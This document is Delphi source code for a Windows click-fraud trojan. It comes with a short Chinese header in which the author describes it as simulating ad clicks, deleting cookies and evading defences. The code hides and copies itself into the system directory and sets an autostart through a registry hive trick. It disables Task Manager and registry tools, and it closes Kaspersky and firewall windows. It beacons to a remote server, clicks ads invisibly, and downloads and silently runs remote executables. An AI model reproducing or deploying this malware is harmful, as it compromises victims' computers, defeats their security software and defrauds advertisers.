模拟点击网页广告Delphi源代码

{
模拟点击网页广告源代码 By 雪落的瞬间
发送消息,删除COOKIE,HIV过主动.
由于代码写于07年好像 没去考虑体积所以
其它 自己看
}


unit Unit1;
{$R 'copyrightA.res'}
interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls,shellApi,urlmon, wininet,shlobj,ExtCtrls,encrypt;

type
TAnHao_Click = class(TForm)
  TIME_DO: TTimer;
  TIME_All: TTimer;
  procedure FormCreate(Sender: TObject);
  procedure TIME_DOTimer(Sender: TObject);
  procedure TIME_AllTimer(Sender: TObject);
  procedure FormShow(Sender: TObject);
private
  { Private declarations }
public
  { Public declarations }
end;

var
AnHao_Click: TAnHao_Click;
DownUrl:array [0..255] of char;//点击广告配置文件下载路径
LLUrl,ClickNum,Upurl:array [0..255] of char;//流量配置文件下载路径
DownSaveA:array [0..255] of char; //广告txt保存路径
DownSaveL:array [0..255] of char; //流量txt保存路径
DownSaveC:array [0..255] of char; //剩余点击次数保存路径
DownSaveDL:array [0..255] of char; //更新txt保存路径
iename: array [0..255] of char;
iepath:string ;  //IE 路径
D_Xy:DWORD;    //点击的坐标
Int_LL:integer;  //流量定时器计数

Int_Cr:integer;
ispost:BOOL;   //点击还是上线
ClickUrl:STring; //当前点击网址
implementation

{$R *.dfm}

//系统路径
function syspath():string;
var
temp: array [0..255] of char;
begin
GetsystemDirectory(temp,250);
result:=temp;
end;

//按顶字符串排序分离
function Split(Input: string; Deliminator: string; Index: integer): string;
var
StringLoop, StringCount: integer;
Buffer: string;
begin
Buffer := '';
if Index < 1 then Exit;
StringCount := 0;
StringLoop := 1;
while (StringLoop <= Length(Input)) do
begin
  if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
  begin
   Inc(StringLoop, Length(Deliminator) - 1);
   Inc(StringCount);
   if StringCount = Index then
   begin
    Result := Buffer;
    Exit;
   end
   else
   begin
    Buffer := &#39;&#39;;
   end;
  end
  else
  begin
   Buffer := Buffer + Copy(Input, StringLoop, 1);
  end;
  Inc(StringLoop, 1);
end;
Inc(StringCount);
if StringCount < Index then Buffer := &#39;&#39;;
Result := Buffer;
end;

//HIV 启动
procedure GetBackPrivilege;
Const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV =&#39;SeBackupPrivilege&#39;;
PRIV_SIZE   = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len:dWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
end;

procedure GetRestorePrivilege;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,&#39;SeRestorePrivilege&#39;,lpLuid))then
begin
  TP.PrivilegeCount:=1;
  TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
  TP.Privileges[0].Luid:=lpLuid;
  AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end; 
CloseHandle(TokenHandle);
end; 

function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey; 
begin
result := false; 
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
  result := true;
RegCloseKey(regkey); 
end;

function SaveKey2(key:integer;subkey,filename:string):Boolean;
var 
SKey: HKEY;
begin
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
end 
else
begin 
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
end; 
if SKey <> 0 then
try 
  Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally 
  RegCloseKey(SKey);
end; 
end;

procedure regstore2(key:integer;subkey,hfile:string);
var 
key2: hkey;
begin
if key=1 then
begin 
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
end 
else begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
end;
if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
RegCloseKey(key2);
end;

procedure DoAll(exefile:string);
var
key:HKEY;
I:Integer;
begin
SaveKey2(2,PChar(&#39;Software\Microsoft\Windows\CurrentVersion\policies&#39;),&#39;c:\1.hiv&#39;);
RegCreateKey(HKEY_CURRENT_USER,PChar(&#39;Software\AnHao&#39;),key);
for i := 1 to 10 do regstore2(1,&#39;Software\AnHao&#39;,&#39;c:\1.hiv&#39;);
addreg(HKEY_CURRENT_USER,&#39;Software\AnHao\explorer\run&#39;,&#39;Hackceo&#39;,exefile);
SaveKey2(1,PChar(&#39;Software\AnHao&#39;),&#39;c:\2.hiv&#39;);
for i := 1 to 10 do regstore2(2,PChar(&#39;Software\Microsoft\Windows\CurrentVersion\policies&#39;),&#39;c:\2.hiv&#39;);
RegDeleteKey(HKEY_CURRENT_USER,&#39;Software\AnHao&#39;);
RegCloseKey(key);
DeleteFile(&#39;c:\1.hiv&#39;);
DeleteFile(&#39;c:\2.hiv&#39;);
end;

//删除CCOOKIE
function GetCookiesFolder:string;
var
  pidl:pItemIDList;
  buffer:array [ 0..255 ] of char ;
begin
  SHGetSpecialFolderLocation(
   0 , CSIDL_COOKIES, pidl);

  SHGetPathFromIDList(pidl, buffer);
  result:=strpas(buffer);
end;

function ShellDeleteFile(sFileName: string): Boolean;
var
FOS: TSHFileOpStruct;
begin
  FillChar(FOS, SizeOf(FOS), 0); {记录清零}
  with FOS do
  begin
    Wnd:=0;
    wFunc := FO_DELETE;//删除
    pFrom := PChar(sFileName);
    fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
  end;
  Result := (SHFileOperation(FOS) = 0);
end;
procedure DelCookie;
var
  dir:string;
begin
  InternetSetOption(nil, INTERNET_OPTION_END_BROWSER_SESSION, nil, 0);
  dir:=GetCookiesFolder;
  ShellDeleteFile(dir+&#39;\*.txt&#39;);
end;

// 注册表锁住
procedure Disablesome();
var
SHK:HKEY;
KeyValue:DWORD;
begin
try
  //隐藏文件
  KeyValue:=2;
  RegOpenKeyEx(HKEY_CURRENT_USER,&#39;Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced&#39;,0,KEY_ALL_ACCESS,SHK);
  RegSetValueEx(SHK,&#39;Hidden&#39;,0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
  RegCloseKey(SHK);
end;
try
  //文件夹选项锁定
  KeyValue:=0;
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL&#39;,0,KEY_ALL_ACCESS,SHK);
  RegSetValueEx(SHK,&#39;CheckedValue&#39;,0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
  RegCloseKey(SHK);
end;
try
  //禁止任务管理器
  KeyValue:=1;
  RegOpenKeyEx(HKEY_CURRENT_USER,&#39;Software\Microsoft\Windows\CurrentVersion\Policies\System&#39;,0,KEY_ALL_ACCESS,SHK);
  RegSetValueEx(SHK,&#39;DisableTaskMgr&#39;,0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
  RegCloseKey(SHK);
end;
try
  //禁止注册表
  KeyValue:=1;
  RegOpenKeyEx(HKEY_CURRENT_USER,&#39;Software\Microsoft\Windows\CurrentVersion\Policies\System&#39;,0,KEY_ALL_ACCESS,SHK);
  RegSetValueEx(SHK,&#39;DisableRegistryTools&#39;,0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
  RegCloseKey(SHK);
end;
end;
function rbl(Hwnd: THandle;
      Param: Pointer): Boolean; stdcall;
var
bt: array[0..210] of char ;
begin
getwindowtext(Hwnd,bt,200);
   if ((pos(&#39;防火墙&#39;,bt)<>0)or (pos(&#39;主线程&#39;,bt)<>0))then
   begin
    postmessage(hwnd,$0010,0,0) ;
    postmessage(hwnd,$0002,0,0);
    postmessage(hwnd,$0012,0,0);
   end;
Result :=true ;
end;

// 杀咔吧 线程 ..
procedure kis ();
var
HKill:THANDLE;
KCaption: array[0..200] of char ;
begin
while (true) do
begin
  HKill:=GetForegroundWindow() ;
  GetClassName(HKill,KCaption,200);
  if (pos(&#39;AVP&#39;,KCaption)<>0) then  //or(pos(&#39;AVP&#39;,KCaption)<>0)
  begin
   postmessage(HKill,WM_CLOSE,0,0) ;
  end;
  EnumWindows(@rbl,0);
  sleep(20);
end;
end;
//创建杀卡巴线程
procedure killkis();
var
kishand:THANDLE;
kispid:DWORD;
begin       //设置时间
kishand:=CreateThread(nil, 0, @kis, nil, 0,kispid);
CloseHandle(kishand);
end;

procedure Sendip();
var
si: TSTARTUPINFO;
pi: TProcessInformation;
Wed:string;
begin
with si do
begin
  cb := SizeOf(si);
  lpReserved := nil;
  lpDesktop := nil;
  lpTitle := nil;
  dwFlags := STARTF_USESHOWWINDOW;
  wShowWindow := SW_HIDE;
  cbReserved2 := 0;
  lpReserved2 := nil;
end;
if ispost then
begin
  //点击
  Wed:=&#39;Open http://www.damocs.cn/360/click.asp?Url= &#39;+ClickUrl;
end else begin
  Wed:=&#39;Open http://www.damocs.cn/360/click.asp?Url=OnLine &#39;; //上线
end;

CreateProcess(pchar(iepath),pchar(WED),
       nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, 20000);
TerminateProcess(pi.hProcess,0);
end;

//-----------------------------------------------------------------------------

// 更新 .
procedure Updata () ;
var
txtDl:textfile;
STR_URL,Str_path:string;
begin
URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);
if FileExists(DownSaveDL) then
begin
  try
   assignfile(txtDL,DownSaveDL);
   reset(TxtDL);
   While not Eof(TxtDL) do
   begin
    Readln(TxtDL,Str_Url);
    Readln(TxtDL,Str_Path);
    if (S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then
    begin
     ShellExecute(0,&#39;open&#39;,pchar(Str_Path),nil,nil,SW_HIDE);
    end;
   end;
  finally
   CloseFile(TxtDL);
  end;
end;
end;

//点击广告过程
function SClick(Hwnd: THandle;
      Param: Pointer): Boolean; stdcall;
var
bt: array[0..210] of char ;
HandA,handB:Thandle; //handb保存IE主窗口点击后要隐藏
begin
getwindowtext(Hwnd,bt,200);
// if (length(trim(string(bt)) > 30) then
// begin
if (pos(&#39;小雨雪&#39;,bt)<>0) or (pos(&#39;索&#39;,bt)<>0) then
begin
  handB:=Hwnd; //保存IE主窗口
  PostMessage(handB,WM_SIZE,SIZE_MAXIMIZED,0); //隐藏最大化IE
  ShowWindow(HandB,SW_HIDE);
  handa:=FindWindowEx(hwnd,0,&#39;TabWindowClass&#39;,nil);
  if handa <> 0 then
  begin
   Hwnd := handa;
  end;
  hwnd:=FindWindowEx(hwnd,0,&#39;Shell DocObject View&#39;,nil);
  if hwnd <> 0 then
  begin
   hwnd:=FindWindowEx(hwnd,0,&#39;Internet Explorer_Server&#39;,nil);
   if hwnd <> 0 then
   begin
    ShowWindow(HandB,SW_HIDE);
    PostMessage(hwnd,WM_LBUTTONDOWN,MK_LBUTTON,D_Xy);
    PostMessage(hwnd,WM_LBUTTONUP,MK_LBUTTON,D_Xy);

    ShowWindow(HandB,SW_HIDE);

    IsPost:=True;
    SendIp;    //发送点击信息
    ShowWindow(HandB,SW_HIDE);
    Result :=true ;
    exit;
   end;
  end
// end;
end;
Result :=true ;
end;

//读取配置
procedure ClickAd ();
var
si: TSTARTUPINFO;
pi: TProcessInformation;

txtA:TextFile; //广告配置文本
Str_Cr:string;  // 当前版本
Str_URL,STR_SleepA,STR_Xy,STR_SleepB,STR_ISClick:string ;
begin
with si do
begin
  cb := SizeOf(si);
  lpReserved := nil;
  lpDesktop := nil;
  lpTitle := nil;
  dwFlags := STARTF_USESHOWWINDOW;
  wShowWindow := SW_HIDE;
  cbReserved2 := 0;
  lpReserved2 := nil;
end;
URLDownloadToFile(nil,DownUrl,DownSaveA,0,nil);
if FileExists(DownSaveA) then
begin
  try
   assignfile(txtA,DownSaveA);
   reset(TxtA);
   Readln(TxtA,Str_Cr);  //获得版本
   if strtoint(Str_Cr) <= Int_Cr then exit;
   Int_Cr:= strtoint(Str_Cr);
   While not Eof(TxtA) do
   begin
    readln(TxtA,Str_Url);
    readln(TxtA,Str_SleepA);
    readln(TxtA,Str_Xy);
    readln(TxtA,Str_SleepB);
    readln(TxtA,Str_ISClick);
    if &#39;a&#39;=Str_ISClick then
    begin
     D_Xy:=strtoint(Str_Xy);      //转换成32位坐标
     ClickUrl:=Split(Str_Url,&#39;.&#39;,2);  //分离目标网址
     CreateProcess(pchar(iepath),pchar(Str_Url),
             nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
     WaitForSingleObject(pi.hProcess, strtoint(Str_SleepA+&#39;000&#39;));
     EnumWindows(@SClick,0);

     Sleep(strtoint(Str_SleepB+&#39;000&#39;));
     TerminateProcess(pi.hProcess,0);
     TerminateProcess(pi.hProcess,0);
     sleep(5000);
     DelCookie;
     sleep(5000);
    end;
   end;
  finally
   CloseFile(TxtA);
   windows.DeleteFile(DownSaveA);
  end;
end;
end;
//刷流量
procedure GetLL ();
var
txtLL:textfile;
STR_URL,Str_Sleep:string;
si: TSTARTUPINFO;
pi: TProcessInformation;
Wed:string;
begin
URLDownloadToFile(nil,LLUrl,DownSaveL,0,nil);
if FileExists(DownSaveL) then
begin
with si do
begin
  cb := SizeOf(si);
  lpReserved := nil;
  lpDesktop := nil;
  lpTitle := nil;
  dwFlags := STARTF_USESHOWWINDOW;
  wShowWindow := SW_HIDE;
  cbReserved2 := 0;
  lpReserved2 := nil;
end;
  try
   assignfile(txtLL,DownSaveL);
   reset(TxtLL);
   While not Eof(TxtLL) do
   begin
    Readln(TxtLL,Str_Url);
    Readln(TxtLL,Str_Sleep);
    application.ProcessMessages;
    CreateProcess(pchar(iepath),pchar(Str_Url),
       nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
    WaitForSingleObject(pi.hProcess, strtoint(Str_Sleep+&#39;000&#39;));
    application.ProcessMessages;
    TerminateProcess(pi.hProcess,0);
    DelCookie;
    sleep(2000);
   end;
  finally
   CloseFile(TxtLL);
  end;
end;
end;

//窗口创建
procedure TAnHao_Click.FormCreate(Sender: TObject);
var
Hk: hkey;
exepath:string;
iekey: Hkey;
vType,dLength :DWORD;
CookiePid,HCookie:DWORD;
begin
CreateMutex(nil,True,&#39;AnHao_Ad&#39;);
if GetLastError = ERROR_ALREADY_EXISTS then
begin
  Application.Terminate;
  PostMessage(handle,WM_CLOSE,0,0);
end;
Int_Cr:= 0 ;
GetRestorePrivilege; //提权
GetBackPrivilege;
try
  regopenkey(HKEY_LOCAL_MACHINE, &#39;Software\Microsoft\Windows\CurrentVersion\policies&#39;, Hk);
  regcreatekey(Hk,pchar(&#39;explorer&#39;),Hk);
  regcreatekey(Hk,pchar(&#39;run&#39;),Hk);
finally
  CloseHandle(Hk);
end;
killkis();
exepath:=syspath()+&#39;\361Ad.exe&#39;;
SetFileAttributes(pchar(paramstr(0)),FILE_ATTRIBUTE_HIDDEN+ FILE_ATTRIBUTE_SYSTEM);
DoAll(exepath);
copyfile(pchar(paramstr(0)),pchar(exepath),true);
Disablesome();
strcopy(DownSaveDL,pchar(syspath()+&#39;\AnHaoD.Txt&#39;)); //更新
strcopy(DownSaveA,pchar(syspath()+&#39;\AnHaoA.Txt&#39;));  // 广告
strcopy(DownSaveL,pchar(syspath()+&#39;\AnHaoL.Txt&#39;));  //流量
strcopy(DownSaveC,pchar(syspath()+&#39;\AnHaoC.Txt&#39;));  //次数

Int_LL:=0; //流量计数器

HCookie:=createthread(nil,0,@DelCookie,nil,0,CookiePid);
WaitForSingleObject(HCookie,10000*6*10);
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,&#39;Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE&#39;,0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, &#39;&#39; , nil, @vType, @iename[0], @dLength) = 0 then
begin
  iepath := iename
end else begin
  iepath := &#39;C:\Program Files\Internet Explorer\IEXPLORE.EXE&#39;;
  RegCloseKey(iekey);
end;
end;

//开始工作
procedure TAnHao_Click.TIME_DOTimer(Sender: TObject);
var
PIDA,PIDB:DWORD;
Txt:textfile;
ClickCount:String;
begin
if (Int_LL = 0) or (Int_LL=20) then
begin
  TIME_Do.Enabled:=False;
  ClickCount:=&#39;1&#39;;
  URLDownloadToFile(nil,ClickNum,DownSaveC,0,nil);
  if FileExists(DownSaveC) then
  begin
   try
    assignfile(txt,DownSaveC);
    reset(Txt);
    ReadLn(txt,ClickCount);
   finally
    CloseFile(txt);
    windows.DeleteFile(DownSaveC);
   end;
  end;
  if strtoint(ClickCount) >0 then
  begin
   ClickAd; //点击广告
  end;
//  PIDB:=CreateThread(nil,0,@ClickAd,Nil,0,PIDA);
//  WaitForSingleObject(PIDB,INFINITE) ;
  sleep(1000);
  GetLL ; //刷流量
  sleep(1000);
  UPData; //更新下载者
//  PIDB:=CreateThread(nil,0,@Getll,Nil,0,PIDA);
//  WaitForSingleObject(PIDB,INFINITE) ;
  TIME_Do.Enabled:=True;
  Int_LL:=0;
end;
Int_LL:=Int_LL+1;
end;

//判断是否联网 控制 刷流量和点击广告开始 定时器
procedure TAnHao_Click.TIME_AllTimer(Sender: TObject);
var
Connect_status : DWORD;
URLA,URLB,UrlC,UrlD:string;
begin
if InternetGetConnectedState(@connect_status,0)then
begin
  Ispost:=False ;
  SendIp;    //发送上线信息

  //http://www.damocs.cn/config/gg.txt  //广告
  UrlA:=jmp(&#39;213D3D397366663E3E3E672D2824262A3A672A27662A26272F202E662E2E673D313D&#39;,&#39;I&#39;);

  //http://www.damocs.cn/config/ll.txt  //流量
  UrlB:=jmp(&#39;584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5C5C1E444844&#39;,&#39;SBL&#39;);

  //http://www.damocs.cn/config/dl.txt //更新
  UrlC:=jmp(&#39;584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F545C1E444844&#39;,&#39;Love&#39;);

  //剩余点击次数
  //http://www.damocs.cn/config/num.txt
  UrlD:=jmp(&#39;584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5E455D1E444844&#39;,&#39;Love&#39;);

  strcopy(DownUrl,pchar(UrlA));
  strcopy(LLUrl,pchar(UrlB));
  strcopy(Upurl,pchar(UrlC));
  strcopy(ClickNum,pchar(UrlD));

  TIME_Do.Enabled:=True;
  TIME_All.Enabled:=False;
end;
end;
procedure TAnHao_Click.FormShow(Sender: TObject);
begin
ShowWindow(0,SW_HIDE);
end;

end.